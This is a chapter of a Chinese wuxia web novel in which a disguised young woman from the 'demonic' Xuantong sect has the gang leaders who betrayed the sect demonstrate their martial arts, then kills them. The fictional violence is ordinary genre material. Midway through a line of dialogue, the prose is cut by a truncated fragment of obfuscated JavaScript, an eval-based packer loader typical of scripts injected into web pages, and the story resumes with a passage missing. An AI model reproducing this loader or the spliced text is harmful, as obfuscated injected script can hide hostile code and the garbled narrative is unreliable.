《邑江雨花传》 1. 清理门户 正殿正中,竖起一尊神像,或许是因为正殿逼仄,所以衬得神像尤为巨大。说是神像,却人不人,鬼不鬼,彩漆剥落,轮廓模糊,要辨出样貌是万万不可能了。神像下的供桌上,坐着一个梳着双鬟,散下的碎发略微卷曲,身着浅碧色袄子的丫鬟。庙宇久不享香火,取而代之的是新一层旧一层的灰尘,那神像本就被侵蚀得厉害,厚厚的灰尘一铺,更加辨不出模样。 没人知道这座庙叫什么名字,供奉的是哪一路神仙,它破败不堪,房梁上挂着蛛网。一弯蛾眉月倒挂在漆黑的夜空,浅淡的月光倾洒在虚掩着的斑驳庙门上,中庭里碎石板缝中钻出的杂草东倒西歪。残破的正殿不大,却黑压压地跪满了人。 他们不仅跪着,头也埋得极低,叫人看不到他们的脸。 他们的动作诚惶诚恐。 正殿里的氛围安静而诡异。 整间屋子里似乎只有供桌上坐着的丫鬟是活的,因为跪着的那些人一动不动,跟雕像也没什么两样。 此情此景,叫人弄不清楚这些人是在跪神像,还是在跪那丫鬟。 这些人服色各异,几乎人人都佩着兵刃,显是江湖中人。跪在最前面的是个高大汉子,而这汉子和丫鬟之间,便是两具死尸。 高大汉子名叫成进,是照水帮的三当家,而他前面的两具死尸,则分别是照水帮的大当家和二当家。 冷汗浸透了成进的后背。 他们一开始就不该与那位教主大人作对,他早就就跟大哥和二哥说了,这件事不能做,不该小看创教已有百余年,被江湖中人称作“魔教”的玄同教。既然如今要背叛,当初就千不该万不该去招惹。想到这里,成进又在心中长叹一声,最开始的时候,大当家的说要去依附于玄同教,他也不是没劝过。 昨日的酒宴上,酒菜腊肉的香气在他的颊边翻涌,二当家的醉眼朦胧地凑到他面前说道:“老三,那丫头长得倒水灵,嘿嘿,怎么以前没注意。”他笑道:“帮里这么多丫头下人,哪能每个的长相都能记住?”边说边顺着二当家的眼光看去,橘黄色的暖光中,重重人影之后,一个丫鬟正侧身对着他们,将空碗空盘一一撤下去,她一直低着头,神色颇为腼腆,不敢与周围的人眼神接触。杯盘相击的清脆声音和着嘈杂人声连绵不绝灌入耳中,他也有些酒酣耳热,道:“有些一直在厨下做活,今日人手不够才过来帮忙,难怪二哥没见过了。”二当家满面红光,仰头将杯中酒一饮而尽,咂咂嘴,哈哈大笑。 哪知第二天一早来到大厅时,他便被眼前的景象惊呆了。 大厅正中吊着一个人,走近一看,竟是二当家的。 只不过少了左手。 断腕切口上洒满了星星点点的白色粉末,就像发了霉的生肉。他纵身跃起,抽出腰刀一把将绳子割断,双手接住二当家稳稳落在地上,急道:“二哥!二哥!发生什么事了?”二当家有气无力地呻吟,半天说不出一句话来。这时帮中众人已陆陆续续来到大厅,都被眼前的景象惊住,赶忙跑过去问发生何事。众人七嘴八舌,最后还是大当家的强作镇定,让帮众按照平日的位置站定了。他亦勉力维持住心神,帮助大哥主持局面。 大当家的本来想先处理二弟的伤,但见断腕处已不再流血,上面的粉末传来阵阵金疮药的气味,便问道:“二弟,你是自己处理过了?”二当家呻吟着摇头,额头上汗珠大颗大颗冒出来。大当家的心想,若不是二弟自己上的药,帮内其他人又这时才过来,那么给他上药的多半便是砍了他手的人,那人砍去他的手后又给他上药,接着再把他吊到大厅里,行事诡谲怪异,不知二弟得罪了什么人? 照水帮的三位当家在江湖上也算是手上有硬功夫的人物,谁会有本事将二当家的一只手砍下来?眼见断腕处切口十分平整,因此那人不是武功极高就是拥有一把上好兵刃……难道是……难道是!韩长泉当即惊惧交加,看了三当家成进一眼,正好对上成进同样满是惊恐的眼神。 二人心中有了同一个答案。 玄同教。 两年前,为寻求玄同教的庇护,在大当家韩长泉的操持下,照水帮成为了玄同教的附属帮派。 两个月前,一名老者来到帮中,说自己是一个大人物的使者,此次前来传达那位大人的意思,希望他们照水帮脱离玄同教,转而为那位大人办事。 成进挑眉道:“我们好端端的为什么要背叛圣教,来替你们大人办事?” 那老者皮笑肉不笑,道:“我原先听说成三当家是个聪明人,今日才道江湖传言夸大其词确是常有之事。” 成进大怒道:“你说什么?” 韩长泉看他一眼:“三弟!”成进哼了一声,不再说话。 老者带来的不止是那位大人物的口信,还有七八箱的金银与各色财宝。 之后的事,便是照水帮决意背叛玄同教,改投另主。成进当时虽持不同意见,却也没有坚持下去,三分因为那些闪得人睁不开眼的财物,七分则是因为心存侥幸。玄同教百年积威,的确能够掀起整个江湖上的腥风血雨。尤其是刚创教那二三十年,江湖中谁人不闻风丧胆?玄同教徒所到之处,往往发生惨案,因为得罪了太多人,所以逐渐成为武林公敌,江湖人惧恶玄同教,于是称其为“魔教”。 玄同教的创立者,同时也是第一任教主名叫裴秉延。这位裴教主称得上是位武林奇人,但凡人寿命有数,且江湖代有才人出,如今新的势力崛起,如日中天,而玄同教虽有一百多年基业,但如同步入暮年的老朽,到今日已然衰落了。 只是听说十年前新教主上任,玄同教接连动作,大有重回当年之势,但他们新跟随的那位大人在如今的江湖中已呼风唤雨三十载,两者若碰一碰,鹿死谁手,的确犹未可知。 不,也有可能不是玄同教。 他们的新主子有个姓卫的死对头,后者要对付他们新主子,或许正是先拿他们照水帮开刀。 新主用了如此大的排场招徕他们,若玄同教或卫氏找上门来,岂有不救之理?但成进没想到的是,对头找上门,没有大举声讨,而是悄无声息地潜入。如此等到他们全部丧命,新主子说不定还不知道。 看着要死不活的二当家,整座大厅里陷入了死寂。今日是除夕,他们之所以选择在昨日提前大摆宴席,就是因为他们要在今日展开在新主子手下的第一个重要行动,这场行动过后,便是把他们照水帮在暗地里的站队立场转到明面上来了。在这之前他们不动声色,暗中谋划,但活见了鬼一般,对头竟然早就知道了,他们照水帮什么也没瞒过。 还特地选在他们准备正式行动的日子动手,二当家,或许只不过是这场清理行动的一个开始。 韩长泉当机立断,立即派人给他们新投靠的主子传信。送信那人奔出厅门,脚步声越来越远,原来越小,小到刚要听不见时,只听得外面“啊”的一声惨叫,众人尽皆愕然,成进一把抢出门外。 只见那传信人倒在地上,双眼圆睁着,已然断气。鲜血还在从身体里汩汩流出,犹如一朵黑红色的花逐渐盛开在他身下的地面。 一击毙命。 成进只觉得莫大的恐惧在一瞬间铺天盖地将他裹住,半晌才想起来咽了一口唾沫。 之后他们又挑选了一名兄弟,答应照顾好他的家人。那人奔出大厅的同时,另有一人从大厅后门奔出,除此之外还有一只信鸽将从后门放飞。 这一次从后门传来了两声惨叫,以及物体落地的声音。 成进闭上眼,心中默默祈祷,同时运功侧耳细听。过了好一会儿,大厅正门外的方向都没有传来异响。他感到了一丝希望,嘴角正要勾起,便听到什么东西滚下石阶的声音。 他的心沉了下去。 这一次,他慢慢起身,和韩长泉一道,先走到后门往外看去,只见两具尸体横陈,一具是送信人的,一具是放鸽人的。不远处是一只死鸽子,鸽血在白羽的衬托下分外鲜红,翅膀上的飞羽竖起,直指向天,在风中不断颤动着。 他与韩长泉退回厅内,韩长泉坐了下来,不再随成进同去,只眼神示意成进去前门看看。成进瞥见韩长泉颓败的神色,又穿过大厅走向前门,帮众的眼神落在他身上,众人的脸随着他的身影从后门的方向转到前门,动作无比整齐划一。 成进踏出前门,注视着不远处的石阶,从第一个死去的送信人遗体旁走了过去。他走到石阶处,往下一看,方才还与他们说话的送信人赫然躺在最底下的几阶石梯上,一动不动,也已气绝。 成进站在石阶最顶上,突然觉得今天的风很大很冷。他嘴唇哆嗦着看了一会儿,转身回去,他知道自己在移动,却好似感受不到双脚的存在。到得厅内,对韩长泉摇了摇头,便坐下一言不发。 韩长泉沉默半晌,忽然抬头扬声道:“不知是何方高人造访我照水帮?还请现身说话!” 大厅里一片死寂。 韩长泉又道:“敢问大人是武林盟主卫氏那边的人,还是玄同教的人?” 一道女声森然道:“一入玄同教,终生不得脱离,背叛者死。” 众人一惊,纷纷环顾四周。照理说,听声辨位,普通人多少都能做到,只是精准程度不比习武之人。但此时在场之人却都听不出声音是从哪个方向传来的。 韩长泉心中却骤然一松,不管怎样,对方既出声回应,跟之前完全摸不着敌人的底细相比,恐惧感顿时消失了一半,他道:“这其中怕是有什么误会,照水帮对圣教忠心耿耿,心甘情愿在教主麾下效犬马之劳。还望大人听小人们几句话,杀了小人们事小,圣教少了一支为其征战的下属事大啊!” 那道女声又响起:“我就是怕冤枉了好人,才在这一个多月以来日日观察你们,可事实似乎不是像你说的这样。” 他还待再说,只听得厅中众人轻微的惊呼声,所有人都目不转睛地看着他身后。韩长泉来不及多想,回头望去。 只见一名少女从后门缓缓绕到厅中,梳的发髻以及身上的衣饰,都跟帮内的下人没什么两样。 他先前听那女声娇嫩生涩,此刻一见,果然是个年轻女子。韩长泉抱拳恭敬道:“照水帮韩长泉,见过……大人。” 通过先前的对话,韩长泉便确定眼前的女子是玄同教中人无疑了,但拜见的话说出口才意识到自己不知道她在教内担任何职。 玄同教一直是派一位堂主和他们对接,而这位堂主也少于亲自和他们见面,常常是派遣自己的手下跟他们照水帮交代事情。除了这位堂主和堂主的下属外,韩长泉等照水帮之人并不认识玄同教的其他人。 她是香主,旗主,堂主,又或甚至是长老之一?玄同教自教主以下,分别是左右使者,五护法,十二长老,再是地方上的七十二堂主。旗主,香主隶属堂主麾下,人数便多得多。此外还有依附于玄同教的无数帮会、教派和山庄,因此可以说水西处处都有玄同教的势力。 韩长泉一边表现得无比恭敬,一边在心内盘算保命之计。若能让这名玄同教的少女相信他们还是是效忠于玄同教的,那再好不过,可如果此路不通,便只好动手。对方武功再高,充其量也只是一个小女孩子,他们帮内所有弟兄一起上,说不定能赢,他这样想着,忽觉信心大增。 那少女对上他的眼光,又看到厅上数十人齐刷刷地看着自己,脸突然变得通红,道:“我们换个地方说话吧,就去……就去姜棘山上,那有座破庙。”一边说,一边不时看着他们的脸,但只看得一眼,便又马上移开目光。 韩长泉大是讶异,他本以为将要面对的是魔教的追魂厉鬼,可此时眼前的却只是一个怕生的姑娘,并且她言语间竟带着客气,全不像是来兴师问罪的。这样的小孩子,通常都很容易被说服。而她能将二弟的手砍下来,估计也是忽施偷袭才得的手。至于几个送信人,明显是她隐在暗处用暗器将他们杀死,并没有正面对决。话说回来,其实在暗处投掷暗器伤人也并不是多么高明的武功,众人太过恐惧,是以着了她的道。若是这样,那么到了不得不动手的时候,那也不足为惧。玄同教不可一世,但也太过目空一切,如此小看他们,竟派这样一个小角色来清理门户。 韩长泉道:“大人要说什么事在这里就可以说,何必跑到那远天远地去?帮中兄弟多,如此兴师动众,大人麻烦,我们也麻烦。”他心中惧意大减,又因这少女的局促客气生了几分轻蔑之意,说话也不大客气了。 那少女忽地抬起头看他一眼,表情似有些不满,脸仍是红红的,嘴翕动几下,最后一句话也没说。 她竟想不出话来反驳自己! 韩长泉呵呵笑了两声,背着手背对那少女手从容走了几步,向大厅正门的方向望了半晌,又回头踱到那少女身边,侧身垂眼看着她的头顶,道:“不知大人可否知道我这二弟的左手是怎么断的?” 那少女道:“你问这个做什么?” 韩长泉道:“江湖规矩,血债血偿,今天你的左手也别想要了!” 他在刚刚走那一圈时就已想好,虽然出了点小插曲,但原本计划在今天的行动要继续展开,至于这玄同教的小丫头嘛,就当做给新主子的见面礼了! 第一个“血”字刚说出口,呼的一声,韩长泉就朝她红潮还未褪去的脸颊拍出一掌。他掌法甚是了得,并且会使的掌法路数繁复驳杂,一百零六路掌法路路不同,更别说每一路包含的或几十种或几百种招式。 他掌法虽杂,却均能使得有模有样,虎虎生风——这是每一路掌法单独来使。而不同掌法夹杂起来对敌,不仅丝毫不乱,反而威力倍增,在江湖上名头甚响。这一下出其不意,厅上的照水帮帮众大都还没反应过来。成进心中一凛,知大哥这是下定决心要和玄同教撕破脸了。将手握在腰间刀柄上,只等大哥一掌得手,当即便上前去将这玄同教的女子大卸八块。 哪知少女虽没有看他,只头略微一偏,这一饱含内力的一掌便生生打空,时机、角度都拿捏得恰到好处。 韩长泉虽对眼前的少女颇有轻视之意,但对方毕竟是玄同教的人,仍不敢太过大意。眼见对方闪开自己第一掌,也并不十分惊讶,不待右掌缩回,左掌便接着击出,掌风甚劲。这两下来得奇快,且韩长泉左手这一掌暗含多路变招,无论对方哪个部位向哪个方向躲闪,他都能陡然变掌,将对方击中。那少女再想像躲第一掌那样躲开他第二掌,便是痴人说梦了。果然,那少女也看出原地腾挪躲闪似已不能,脚一蹬地,在空中轻轻巧巧一个翻身,落在众人头顶的横梁上。 韩长泉决心快刀斩乱麻,一上来便使出了生平所学绝技。在这两招下丧命的江湖成名高手不少,此刻韩长泉却没能得手,可见这少女绝不是泛泛之辈,他又突然有些后悔起来。但转念一想,他打出了两掌,她都只是躲闪,既没有招格,也未将他的招式进行拆解然后反击。兴许这少女只是熟稔闪避来招之法,却不怎么会主动出招进攻。 二弟的左手是她忽施偷袭砍下来的,若正面交锋,她便无胜算。况且他作为照水帮的大当家,既已经在玄同教的人面前明确了态度,就决不能留她回去报信,若此刻犹犹豫豫,反送了自己和兄弟们性命。这少女既然闪躲功夫了得,便要布下天罗地网,决计不能让她逃了。 成进以及几个武功较高的帮众看出那少女躲开了大当家的看家功夫,具是一惊,心中犹疑不定,愣在原地不知该当如何,都向韩长泉看去。只见韩长泉神色凌厉,大叫道:“杀了她!莫要让她活着走出这里!”话音刚落,帮中众人便各自抽出兵刃,飞上房梁向那少女攻去,霎时间,大厅上方一片白光粼粼闪动。 说时迟那时快,那少女弯腰向左倒去,避开迎面横削来的朴刀,同时倏地伸掌,打在一名扑到自己面前来的双刀汉子腹上,那汉子惨叫一声,跌下房梁。 少女伸出右脚,将那汉子松手落在空中的其中一把刀一踢,交到自己右手,回身对着那朴刀刀刃当头自上而下竖砍下去。只听“当”的一声巨响,不仅朴刀刀刃被生生劈成两半,那拿朴刀的汉子也仰倒跌下,坠地发出一声闷响,众人去看时,只见一道血红色的裂痕从他的头顶直蔓延到锁骨,人已气绝。 那少女将那使朴刀的汉子砍中,在他还未落地时便用左手指节在断裂的刀刃上一弹,那截断刃呼的一声插进了旁边一人的脖颈中。她又挥刀将余下众人悉数砍下房梁。 照水帮众人一批批地向那少女攻去,每一拨都有十来柄兵刃同时向她或砍或刺,但她或夺他人兵器为己所用,或陡然出掌出脚,或使出一些令人意想不到的方法,每一拨人竟都给她杀了下来。眼见越来越多的人从房梁上落下,且落地后就动弹不得,只有三当家成进和其他几个好手在房梁间闪转腾挪,在那少女与其他帮众的打斗中寻找空隙出手。饶是如此,时间一久,他们几个的身上也都挂了彩,呼吸粗重,表现得极是吃力,而那少女却毫发无伤。 韩长泉眼见不能再袖手旁观,当即纵身跃起,双掌齐出,使出十二万分狠厉的招式来。这下十数柄兵刃连同韩长泉凌厉的掌风一同向那少女袭去,韩长泉大喝:“下来!”这一掌她若接,那么周围的十来柄兵刃便会刺穿她的身体;不接,要么被逼下房梁,要么五脏六腑俱碎。少女忽然凌空而起,横身在空中旋转一周,裙裾如花般撒开,将周围向自己聚拢的兵刃都卷入袖中。韩长泉掌还未至,她便将十数柄兵器尽数抛出,围绕在四周的敌人尽数惨叫坠地。韩长泉及成进等人虽未跌落下去,却也都为兵刃所伤,被迫停止攻势,各自退在一旁。 斗了这许久,围着那少女的人只剩韩长泉,成进以及其他几个好手,这几人无一不是伤痕累累,帮里的好手也被她杀了两人。其余人等或死或伤,没受伤或受伤较轻的则站在下面,说什么都不敢上去。 僵持一阵,那少女站在房梁上,将手背在背后,开口道:“韩帮主,现在可答应跟我走吗?” 韩长泉脸色十分难看,方才相斗,双方实力悬殊的事实已是板上钉钉。事已至此,只怪自己糊涂到招惹轻视玄同教。饶是这样,他仍没有放弃抓住任何一丝活命的机会。仔细想想,她从现身到现在,都并没有说要取他们性命,方才杀人也是因为他们率先动手她才反击。思及此,突然觉得还有一条生路,内心顿时宽慰起来。 于是低眉顺眼道:“小人有眼不识泰山,方才多有得罪。照水帮众人一切听大人吩咐便是。”成进等人听他如此表态,也都将举着兵刃的手垂了下去。那少女道:“早该如此。” 韩长泉到底是没敢在半路上逃跑,尽管他还可以尝试让帮中众人同时四散奔逃,道路两旁草高树密,若这么多人同时没入林中,要一一击杀或抓回来也不是易事。可是他不敢赌,不敢拿命去赌,万一被抓回来杀掉的那个是他自己呢?且他是帮主,这么多人一哄而逃,他肯定是重点被关注的对象……一路思虑一路前行,不知不觉已来到姜棘山脚下。 众人脚步沉重地上山,冬天天黑得早,待得众人来到姜棘山顶的破庙时,已是暮色微合。从山顶能望见山下华灯初上的锦陇城,冷冽的山风拂在脸上,满眼皆是山下一片橘黄朱红的灯光,让人感到些许暖意。 但这却暖不了照水帮众人的心。前路未卜,想起那少女杀人的手段,他们只觉一股凉气从身体里直透出来。 进得黑漆漆的正殿,外面微弱的天光也变得明亮起来。那少女让照水帮一名帮众点了灯,从裙子上撕下一片布料垫在供桌上,便大喇喇坐了上去。她一看殿中照水帮众人,道:“我没叫你们跪,你们怎么……跪下了?” 韩长泉低头闷声道:“今次弟兄们犯了天大的错,怎敢站着面见大人?”他现在是看出来了,这少女说话极弱势客气,下手却极狠辣。须得对她也轻言细语客客气气的,不然稍有闪失便有性命之虞。 那少女不置可否,话锋一转,道:“韩帮主,我想请你、三当家的、帮中这几位好手,还有……还有二当家的在我面前演练你们的看家功夫,不知能否答应?” 韩长泉、成进诸人心中俱是一凛,只因她说出的话大大出乎众人所料。若要清理门户,大可在照水帮山寨内动手,但她却领着众人来到距离人烟阜盛的锦陇城极近的姜棘山上,起初他们认为是有玄同教的人在姜棘山上接应,可来到这里一看,并没有人候在这里。众人更不知她葫芦里买的什么药。 韩长泉道:“是,是……大人的话,弟兄们岂有不应的?只是……只是我那二弟的左手,大人可知……” 昨夜宴会散去后,妆扮成照水帮婢女的那少女正一个人在厨下收拾盘碗残羹,忽听闻身后动静,只见二当家的摇摇晃晃向自己走来,露出了贪婪的神色。 片刻过后,二当家右手捏住自己左边断腕痛得滚倒在地,满腔汲汲□□全化作额边冷汗,女子站在他旁边,一手拿着菜刀,鲜红的血还在一滴滴从刀刃上流下。 二当家没想到的是,在自己倒下后,那婢女居高临下地看着他扑倒在地的身子,也露出了贪婪的神色。 那少女双眉一竖,道:“淫贼都该死。”她顿了顿,眉峰复又垂下,道:“他虽是个可耻淫贼,手上功夫却还算不俗。因此我特意只砍了他左手,虽然只剩一只手多少会影响出招,但大致的样子是能做出来的。” 韩长泉为难道:“这……若是要演武,只有大致的样子,怕是……” 那少女不耐道:“我只需要看大致的样子。” 韩长泉道:“是,是……”满头满背都起了一层细汗。 他这才恍然明白过来,原来他们几人先前能跟她来来回回斗那么久还未像其他帮众一样被杀死或受到伤及筋骨的伤,不是因为他们武功更高,而是这少女有意要留他们活口,让他们动作无有大碍,好给她演练武功。 于是向三当家成进使了个眼色,当即以各自的看家本领一招一式拆解起来。二人从今天一早便接连遭逢变故,情绪反复,惊魂不定。现下命数难测,更是心如十五只吊桶打水,七上八下。因此二人最初十多招拆得着实有些僵硬,所幸再往后拆,心里眼里只有自己对武学的理解与对方的出招,短暂地忘记了眼下的一大烦恼,逐渐进入了状态。 韩长泉专精掌法,且所擅掌法着实不少,的确是个练武之材。他一套掌法使完后,成进的一套刀法也差不多使完。他又换了一套掌法来使,成进招式既尽,又重头开始使他的那套刀法。 照水帮众人关心自己前途命运,都无心观看比武,大都偷眼向那少女瞄去,只见她正聚精会神地观看二人演练拆解招式。过得一会儿,两位当家的斗得兴起,越来越多人的注意力倒是转移到比武的二人身上去了。 那少女见韩长泉每套掌法都大不相同,却各有精妙之处。又见成进以一套刀法对上风格迥异的掌法,将一套刀法的种种绝艺变化发挥得淋漓尽致,短短一段时间里对武学便有了好几处新的见解,虽然有的想法还待日后临场验证,但也不由得心中极是高兴。 韩长泉只盼让这位玄同教的大人尽兴了,好放过自己的性命。于是抖擞精神,将自己所会的一百零六路掌法毫不含糊一一使将了出来。 使到最后一套掌法的最后一招,韩长泉左肘后缩不发,右掌五指微蜷,从上至下笔直缓慢地划下来。虽不似之前出掌那般凌厉尖锐,却有泰山压顶之势。在场众人凝声屏气,皆为这场精彩的掌法演练所吸引。 照水帮众人知道韩长泉掌法神妙繁杂,也知这位帮主会的掌法有一百零六路之多,却从未有人见他将这一百多套掌法全部使出来过,以至有人私下说那一百多套掌法只是虚指,实际数量并没有那么多。今日一见,得以大饱眼福,方知传言不虚。 那少女心中高兴,面上虽不动声色,对他们说话的语调却不经意间柔和了些许。 接着韩长泉分别与除了成进外剩下的几人比武,成进再与还未与他拆过招的人比试,然后那少女先前点到的人都两两将自己的看家武功招式一一比划过一遍。 众人所擅功夫不同,有擅剑的,有擅双兵的,有擅暗器的,还有的腿法颇为不俗。如此排列组合下来,打得甚是精彩,众人皆在心里连连赞叹,若不是他们还记得自己为什么会在这里观看这场演武,大殿中早已采声大作。 那二当家昨夜不识此女真实面目,□□不成反被那少女用菜刀斩断了一手,无论是精神还是□□都收到极大的打击,心中愤恨颇巨,因此对演武极是抵触。韩长泉知他内心不忿,但听那少女说话语气中有松动之意,虽只有一丝希望,却也要牢牢抓住。只道今日能否活命,全在此番演武。因此背对着那少女对二当家咬牙切齿,连声催赶。 那二当家何尝不知韩长泉的心思?只是失了一手,他一身武功几乎是被废去了,就算此次侥幸活命,以后还如何在江湖中混?干脆大家都死在这里,一了百了。韩长泉见他只躺在担架上闭目不动,在他耳边冷冷道:“二弟,此次演武干系重大,你再如此不识时务,休怪做大哥的翻脸无情!”二当家的听韩长泉这几句话中包含了极大的杀气,也不由得打了个寒颤,显是若他再拖延下去,韩长泉立时就会将他杀了。他先前虽已破罐破摔,觉得是死是活全无所谓,但当死亡如此近距离地凑到面前时,恐惧凌驾于心灰意懒,最终也还是从担架上爬起来摇摇晃晃地和各人比划了些许招式。 几人两两比试完后,韩长泉满面堆笑地望向那少女,只盼他们让她高兴,她下一句话就是赦免他们。只要他们能活,就算那少女独独不愿饶恕二弟,也是没有办法的事,只怪他自己倒霉,偏生将太岁误作绵羊,到其头上动了土。 那少女慨叹道:“曙雀辛夷掌果然名不虚传,果真 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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韩长泉心惊胆战这么久,一直盼着她就他们背叛玄同教一事说出处置办法。如今终于扯回了正题,但问出的问题又十分奇怪,一时不知如何回答,只得道:“另一位大人……不不不,是聊氏让我们在今天,今天……不是我们选的日子……” 只闻那少女轻轻一声叹息,幽幽道:“过年前期盼着过年的时候其实是最开心的。除夕那天晚上一过,每天看着初一,初二,初三……接连过去,等年过完,就难过起来。既然每年都要这么难过一回,那还不如从一开始就不去过年。就像花一样,既然总归有花谢的那一天,那么一开始开花的意义又何在呢?” 那少女说了一大篇,韩长泉只觉得烦躁无比,她尽说一些无关痛痒的话,让他听得一头雾水。什么过年开不开心,什么时候开心,什么时候难过,他现在只关心自己最终是死还是活。 “所以我喜欢在过年的时候做事,不把过年当过年,不会开心,可也不会难过了。”少女看向他们,道:“我以为你们也有类似的想法,才选择今天。” 韩长泉心里咯噔一下,其他帮众面面相觑,心中不约而同攀上一丝诡异的疑惑,都在想这少女脑子莫不是不大正常。一阵沉默后,韩长泉准备大着胆子问那少女究竟要如何处置他们,刚要开口,便听到那少女的声音从上方传来:“如果没有其他话要说,这就上路罢。” 韩长泉脑子里嗡的一声,这句话很短,每一个字都听得一清二楚,但连在一起,似乎就成了一句十分陌生的话,他几乎要听不懂这句话的意思。他从一开始以为必死无疑,到后来鬼使神差地以为能活命,再到现在认为活命几乎是十拿九稳的事,结果那少女一句话,还是要他们死。 还是要他们死! 韩长泉磕头求饶道:“求大人开恩,求大人开恩啊!当日情形,我们若不转投聊氏,当即就要遭受杀身之祸,我们虽表面投靠聊氏,可对圣教还是忠心耿耿,求大人网开一面,放过我们这次吧!” 见韩长泉等人又想再回到玄同教麾下,那少女道:“那边送你们这么贵重的礼,言下之意自然是不希望看到你们反复无常。你们收下东西时,可曾想过是否消受得起?无需多言,这就上路罢!” 一种被戏耍的恼怒涌上心头。韩长泉猛地抬头直盯着那少女的脸,瞪眼道:“你为什么不在我们比武前就说?怕说了我们就不肯给你演练武功了,是不是?”既然无论如何终归要死,他反而没了顾忌,言行再也不如先前那般小心翼翼。 那少女被他一瞪,似乎很想把眼睛移开,最终还是坚持与他对视,道:“你们若不答应,我还有什么法子逼迫你们不成?哼,原来你们答应演武,全是以为我会因此饶了你们性命。难道你们不知道,在玄同教面前出尔反尔,没一个能活?演不演武,全在你们,至于最后会不会死,我以为你们早知道的。” 韩长泉狂怒,照水帮在江湖上也算颇有名头,他韩长泉虽不敢说是江湖上数一数二的人物,可也是这照水帮的一帮之主。那少女充其量就是个后生丫头,只是武功高一些罢了,也敢在他面前如此没大没小,戏耍于他?他知道她为什么不肯就曙雀辛夷掌展开来说了,反正他们马上就要死,跟死人讲那么多有什么意义? 他觉得自己两个时辰前组织弟兄们演练武功,又把一百零六套掌法每招每式一一使将出来,如此殷勤,简直比戏台子上的小丑还要可笑几分。 韩长泉眼见一切已成定局,自己今日是必死无疑,突然转向成进,责怪道:“你当初阻止我们投靠聊氏,为什么不阻止到底?为什么不死命阻止?你既然知道背叛玄同教下场凄惨,为什么只是稍微劝阻了一下我!!!”他圆瞪双目,眼中满是血丝,形迹已近乎疯狂。 成进被韩长泉歇斯底里的模样惊得一怔,随即表情愕然道:“大哥!我当初那样劝你和二哥,说玄同教背叛不得,当时我什么话都说尽了,你们还嘲笑我胆小,如今又来怪我,可还有理么?大哥,讲道理,这次是你把弟兄们带到了阴沟里,要有什么牢骚,也该是我成进发才对!我成进没什么大本事,平生就讲究一个兄弟义气,大哥如今身处绝境,我成进一句抱怨的话不说,大不了这颗头不要,跟大哥一起死就是了。可我没想到,在这样的关头,大哥竟还对自己的兄弟恶语相向,怪兄弟的不是!好,是我成进看错了人,姓成的今日算是白死了!” 韩长泉突然大吼一声,向那少女扑过去,这一下去势奇疾,照水帮众人只觉眼前一花,随即殿中劲风大作,成进等人头发衣角狂翻乱舞,皆忍不住将头别了过去。原来韩长泉势在拼命,倾注毕生绝学击出一掌。此乃生死相系的危急关头,加上他情绪激荡澎湃,因此这一掌无论从力道,速度,还是暗含的巧妙后着来说,皆属他习武生涯之冠。 下一瞬间,成进感到自己飘飞的头发重新落在头上,将脸刮得生疼的风骤然停了。他睁开眼睛,越过自己遮在面前的手臂看去,不禁骇然变色。 只见韩长泉与二当家的双双倒在供桌下的血泊之中。 韩长泉仰面躺倒,双目圆睁,发髻散乱,发丝蘸在血里。右手手掌被削去了一半,只剩下连着手腕的那截断掌和大拇指的指根。二当家的除了先前被砍断的左腕,右腕也光秃秃的,显是方才那一瞬间,右手也被砍了下来。韩长泉胸口湿透,一片黑红之色,正是致命伤所在。二当家的俯趴在地,除了断腕看不到其他的伤口,只是不断有血从他脖颈处溢出,在他身下的地上积成越来越大的一滩,想是被割断了咽喉。 成进刚看韩长泉时,还见他断掌轻微动着,动了几下,渐渐便不动了。此刻二人皆一动不动,应是均已气绝,鲜血却仍从二人几处伤口中汩汩冒出。 成进不敢移动脖子和头,战战兢兢抬起眼皮偷瞄那少女,只见她仍旧坐在供桌上,手臂向一旁笔直地伸出去,手中多了一柄长刀。看到那柄刀,成进心中一突,赶忙往自己腰间看去。只见挂在腰上的刀鞘之中空空如也,顿时心中一沉,惊骇交加。 这招隔空取物需要使用者对气劲有极强的把控能力才能做到。 这少女武功比他们想象的还要深不可测,韩长泉怎会是对手?只是方才冲上去的只有韩长泉,二当家的又怎会…… 原来韩长泉一冲过去,二当家的就陡然跃起,从侧面向那少女出招。这二当家的性淫好色,手上的家伙却也着实不含糊。韩长泉身法极快,照水帮其他人还没反应过来,二当家的却看准了这一时机,瞬间起身与韩长泉共同包夹那少女,身手也是奇快。 两人眨眼之间便来到了距那少女不过四五尺的地方,却只见白光一闪,接着剧痛传来,二人出招的手俱被削断。二当家的扑跌在地,只觉得有什么东西源源不断地从自己脖颈涌出,想伸手去捂住伤口,却发现两只手腕上都已是光秃秃的,接着两腿一蹬,撒手西归。 那少女一刀削断两只手和二当家的喉咙,紧接着翻腕前刺,将韩长泉的胸膛一刀贯穿,韩长泉身子一颤,四肢无力地垂下来,慢慢从刀刃上滑了下去。两招之间,江湖上成名帮会的帮主和二把手双双了账。 这时一名帮众啊的一声惊叫,跳起来踉跄退后了几步。原来他一开始注意力被倒在地上的大当家与二当家吸引,这会低头一看,才发现脚边有一只断手,那断手手里还攥着一把刀。旁边的铺地石砖上甩溅出几痕被拉得长长的血迹,连他的衣衫下摆也溅上了几滴。 不用说,这只手便是已没了左手的二当家的右手了。 成进颓然对那少女道:“姓成的今日认命了,只是在我死前,还有个疑问,不知可否得到大人解答?” 少女道:“你说。” 成进道:“大人为何不就在照水帮将我们处置了,还要跑到这来?” 那少女道:“我要看你们演武,势必要费很多时间,假设聊氏或别的什么人在这期间过来就不好了。早在来你们照水帮之前,我就物色好了这个地方,这里平时不会有人来,是个绝佳的所在。要你们演武,是我个人的意思,若因为我个人的行为坏了教中的事,这是万万不可的。”她又道:“你们当初立下誓言,说若有一天背叛我教,便教帮中人等悉数死无葬身之地。玄同教向来重誓,不管是自己的,还是别人的,若自己做不到,本教便帮人做到。你们死在这破庙里,就算来日尸首被发现也是胡乱扔在乱葬岗中,乱葬岗么,与死无葬身之地本无甚差别。”言下之意仿佛是,若他们当初没有那么信誓旦旦,兴许还有条活路。 成进彻底认命了,沉默一阵,还是问道:“大人可否告知教内职位?好让我们这些人死也死得明白。” 那女子摇头道:“尔等知道自己是死在玄同教手下,也不算死得糊涂。” 成进沉默。 过了半晌,那少女开口道:“你跟你大哥二哥倒是有些不同,我不动手,你将其他人一刀一个杀了,最后再自尽。你若下不了手,我再来。” 